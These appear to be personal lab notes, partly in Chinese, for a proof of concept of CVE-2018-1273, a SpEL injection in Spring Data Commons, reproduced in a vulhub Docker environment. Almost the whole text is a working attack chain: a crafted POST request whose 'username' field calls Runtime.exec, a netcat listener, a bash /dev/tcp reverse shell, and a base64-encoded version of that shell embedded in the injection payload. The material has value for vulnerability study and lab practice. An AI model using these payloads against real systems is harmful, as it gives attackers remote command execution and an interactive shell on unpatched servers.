[poc]
https://vulhub.org/#/environments/spring/CVE-2018-1273/
Spring Data Commons 在2.0.5及以前版本中,存在SpEL表达式注入漏洞

cd /home/kali/vulhub/spring/CVE-2018-1273

sudo docker-compose up -d
sudo docker-compose ps -a
sudo docker ps -a

Spring Data Commons <= 2.0.5版本
访问页面http://192.168.225.166:8098/users

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.225.166:8098
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Origin: http://192.168.225.166:8098
Connection: close
Referer: http://192.168.225.166:8098/users
Upgrade-Insecure-Requests: 1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

sudo docker ps -a
sudo docker exec -it d63fc660cd63 /bin/bash

nc -lvp 6666 # l是监听模式;v是显示详细信息;p是指定端口;
bash -i &> /dev/tcp/192.168.225.166/6666 0<&1 # 反弹交互指令tcp服务
=============解释==================
bash -c {echo,base64编码一句话shell}|{base64,-d}|{bash,-i}
==============最终组合=================
# https://ares-x.com/tools/runtime-exec/转换
bash -c {echo,YmFzaCAtaSAmPiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPCYx}|{base64,-d}|{bash,-i}
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCAtaSAmPiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPCYx}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=

